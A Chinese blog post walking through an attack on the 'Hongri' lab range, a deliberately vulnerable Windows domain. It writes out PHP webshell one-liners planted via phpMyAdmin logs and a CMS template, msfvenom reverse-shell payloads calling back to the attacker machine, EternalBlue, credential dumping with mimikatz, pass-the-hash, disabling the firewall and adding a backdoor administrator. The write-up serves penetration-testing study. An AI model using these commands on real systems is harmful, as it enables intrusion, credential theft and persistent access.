红日靶场1-打靶记录

仅做合法的学习讨论,如有错误请留言

环境搭建

初始密码为hongrisec@2019

网站拓扑图:

image-20230829232758072

win7

做一下处理:增加网络适配器2,并设置为NAT模式,修改网络适配器1,改为仅主机模式

image-20230829233559903

注意!先是仅主机模式,然后才是NAT模式,顺序很重要!

win2003

将网络连接设置为VMnet1(仅主机模式)

image-20230829233805746

win2008

也将网络适配器设置为VMnet1(仅主机模式)

image-20230829234040992

IP划分如下:

主机 IP
攻击机kali 192.168.40.148
win7边界服务器 外网IP:192.168.40.176;内网IP:192.168.52.143
win2003 内网IP:192.168.52.141
win2008 内网IP:192.168.52.138

在C盘中找到phpstudy,打开web服务

红日1

信息搜集

探测靶机IP

arp-scan -l

image-20230830001919007

探测开放端口

nmap -Pn -sV -p- 192.168.40.176

image-20230830004629607

开启了80端口和3306端口

web端信息搜集

访问80端口:

image-20230830004845105

dirsearch扫目录:

dirsearch -u 192.168.40.176 -e * -i 200

image-20230830005010169

敏感文件:/phpinfo.php,/phpmyAdmin/

漏洞利用

phpmyadmin写马

image-20230830005212177

弱口令root/root登录phpMyAdmin

想要写马,看看有无权限:

SHOW VARIABLES LIKE "secure_file_priv"

image-20230830005425777

发现为NULL,那就是没有权限.如果要修改,只能进入服务器修改MySQL.ini

所以我们可以换其他方法,如写马进全局日志、慢日志

show variables like 'general_log'; #可以查看日志的
# 查看读写是否开启
set global general_log = on; #开启此功能
show variables like 'general_log_file';#查看日志的默认路径
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';#修改路径

image-20230830005641617

发现是OFF,改为ON即可:

image-20230830005733453

image-20230830005822036

慢日志默认路径:

image-20230830005929322

修改默认路径:

set global general_log_file='C:\\phpStudy\\WWW\\shell.php';

image-20230830010118606

写马:

select '<?php eval($_POST[cmd]);?>';

image-20230830010009516

蚁剑连shell.php:

image-20230830010245372

yxcms文件上传

image-20230830010354984

在网站根目录下发现了yxcms和beifen.rar,然后可以下载beifen.rar

yxcms应该是一款CMS,而beifen.rar应该是网站的备份文件

访问yxcms:

image-20230830010644757

image-20230830010805549

进入后台,发现有个前台模板:

然后按着前台模板->管理模板文件->新建

image-20230830090005744

建立一句话木马:

<?php @eval($_REQUEST['s']);?>

而根据刚刚下载的备份文件,可以推测muma.php的网页路径:

image-20230830091800893

image-20230830091837599

在http://ip/yxcms/protected/apps/default/view/muma.php找到了木马文件

image-20230830092158227

蚁剑连接:

image-20230830092232372

留言板

此外,在网站首页还发现了留言版:

image-20230830092454791

在管理员审核时触发:

路径:结构管理->留言本

image-20230830093358158

后渗透

后渗透阶段,当我们已经将小马上传到web服务器时,就可以用webshell管理工具进行下一步渗透了。以下是后渗透的步骤,方法不唯一,仅做参考。

CS

CS上线

kali执行:

image-20230830150434559

CS连接:(密码为这里设置的123)

image-20230830150500057

CS设置监听器

image-20230830150917321

image-20230830150937224

image-20230830151129751

CS生成exe病毒

image-20230830150632234

image-20230830151249141

Listener选择刚刚的增加的监听器

然后生成了exe文件,将此文件上传到蚁剑的靶机中,并执行:

image-20230830151611181

image-20230830151636609

cs信息搜集

shell ipconfig
shell whoami
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)
shell ipconfig

image-20230830154451448

shell whoami

image-20230830154806904

ipconfig /all # 查看DNS

image-20230830155103777

发现主DNS后缀为god.org,则存在域god.org

net config workstation # 也可以通过这条命令来查看当前计算机名,全名,用户名,
# 系统版本,工作站,域,登录域等全面的信息

image-20230830155446639

image-20230830164306527

PS:通过CS执行命令确实有点慢,可以选择通过蚁剑终端执行命令

2.上面发现DNS服务器名god.org,当前登录域为GOD

net view  # 发现了域内还有两台机器

image-20230830162111122

也可以通过CS查看:

image-20230830162204398

3.查看域的组账户信息(工作组)

net group 

CS提权

提权:如果权限不够:

image-20230830164006627

msfconsole

msf上线

主要的思路是将shell派送到CS或msf进行下一步渗透

使用msf生成exe并开启监听(也可以用CS生成exe):

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.40.148 LPORT=1234 -f exe -o /tmp/hack.exe

192.168.40.148和1234都是攻击机kali的

image-20230830094303491

image-20230830094248367

msf中开启监听:

msfdb run # msf6>
use exploit/multi/handler # msf6 exploit(multi/handler) >
set payload windows/x64/meterpreter_reverse_tcp # msf6 exploit(multi/handler) >
set lhost 192.168.40.148# msf6 exploit(multi/handler) >
set lport 1234# msf6 exploit(multi/handler) >
exploit -j # 后台运行

image-20230830094930321

在蚁剑中执行hack.exe:

image-20230830094804437

然后就会发现msf收到shell:

image-20230830094943678

收到shell后以meterpreter>开头

收到shell后就进入会话了

查看会话:

sessions -i  # msf6 exploit(multi/handler) >

image-20230830100131100

# 进入某个会话 :sessions <Id>
sessions -1
# 退出某个会话 
background # 或bg

image-20230830165446918

image-20230830165404100

这个"meterpreter"既有靶机终端执行命令的功能,也有msf上调用一些模块和命令的功能

查看是否进入了虚拟机(是否是蜜罐)

run post/windows/gather/checkvm

image-20230830174002285

枚举列出安装在靶机上的应用程序:

run post/windows/gather/enum_applications
 # 结果为This is a VMware Virtual Machine时就是虚拟机

image-20230830174522212

查看存活主机:

相当于执行命令:

net view

image-20230830223107703

msf信息搜集

1.msf arp 发现主机,开启状态下才可探测出
run arp_scanner -r 192.168.40.148/24
run post/multi/recon/local_exploit_suggester      查看msf的提权

内网端口扫描:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389 
#也可以直接:set ports 1-65535 (只是速度很慢) 
run

image-20230830193248783

提权

自动提权

getuid # meterpreter >
getsystem # meterpreter >
getuid # 查看是否提权成功 meterpreter >

image-20230830103646288

系统漏洞提权-systeminfo

meterpreter > shell
C:\Users\Administrator\Desktop>chcp 65001 
C:\Users\Administrator\Desktop>systeminfo

chcp 65001是为了防止中文乱码

永恒之蓝-无

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

跨网段横向渗透

横向渗透前,先将该web服务器配置为代理服务器当做跳板

msf socks4a proxychains穿透内网

可用msf直接搭建socks隧道,进入session,自动创建路由:

run post/multi/manage/autoroute
run autoroute -s 192.168.52.0/24 # 添加路由
run autoroute -p # 查看是否添加成功,错误点3
background # 返回,把获得的meterpretr会话暂时放到后台
route print # 输出路由
use auxiliary/server/socks4a # 使用 socks4a模块
set srvport 1080 # 设置端口1080
run # 运行

image-20230830215555430

msf永恒之蓝

开启了多个端口,其中出现了445端口,可能有永恒之蓝:

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

image-20230830193836398

image-20230830193719878

可能有永恒之蓝

开始攻击:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.40.176 # win7的ip
run

image-20230830194317678

image-20230830194421663

哈希传递攻击(PTH)拿下域控

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

简言之应该就是通过工具获取域控服务器的密码或哈希值,进而拿下域控服务器

msf

hashdump-成功

run windows/gather/smart_hashdump # meterpreter >

image-20230830103839424

即:

[+]  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]  liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:

 1. 将明文口令转换成十六进制的格式 
 2. 转换成Unicode格式,即在每个字节之后添加0x00
 3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1

但是这个只是用户密码的一个hash值,我们在msf里加载kiwi模块

kiwi

load kiwi
load kiwi

creds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码
load kiwi # msf6中mimikatz被kiwi替代
ps 
migrate 2984 (explorer.exe所在进程) 
# 即从x86转到x64 (否则后面报错)
getsystem # 提权
creds_tspkg   # 得到明文密码
kiwi_cmd -f sekurlsa::logonpasswords # 得到明文密码和哈希凭证

image-20230830205655429

image-20230830205859964

image-20230830210005863

migrate 2984这里是在迁移进程,一方面是因为explorer.exe进程比较稳定,一方面是因为它是64位的

image-20230830210127316

image-20230830210252897

注:图中将哈希打成哈西了:)

CS

chcp 65001

CS中的mimikatz和dump hashes

dump hashes

image-20230830164643386

相当于执行:

hashdump
明文-run mimikatz

或直接获取明文密码:

image-20230830162433486

相当于执行命令:

beacon > logonpasswords

image-20230830224722628

CS-PTH攻击

这里使用CS:

通过前面msf的kiwi,和cs的

image-20230830213734876

image-20230830213812481

这里的password即HTLM的值

结果:

image-20230830214054076

3389连接

获得明文密码后就可以通过3389远程连接

3389为远程桌面端口

开启3389:

run post/windows/manage/enable_rdp

image-20230830111440676

nmap -p 3389 192.168.40.176 # kali上运行

image-20230830111546445

其他方法:

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

开启远程端口后,结合获得的密码"hongrisec@2019",进行远程桌面连接:

用户名: \\STU1
密码: hongrisec@2019

也可以使用前面新建的用户:

用户名: star
密码: Abcd12345

image-20230830171306597

image-20230830171755183

远程登录成功

如果msf中有win7的shell,那么只需要返回会话并执行命令:run post/windows/manage/enable_rdp即可开启远程会话

添加新用户到组

也可以添加用户到Administrators

# 用户名为star,密码为Abcd12345
admin$ qaz123!@#
net user star Abcd12345 /add
# 添加star用户到Administrators组里:
net localgroup Administrators star /add

其他有关的命令:

# 查看当前用户
net user
# 查看当前用户组
net localgroup
# 查看某个组有哪些用户
net localgroup <组名>
net localgroup Administrators

image-20230830163402865

posted @ 2024-10-15 10:52  starme  阅读(16)  评论(0编辑  收藏  举报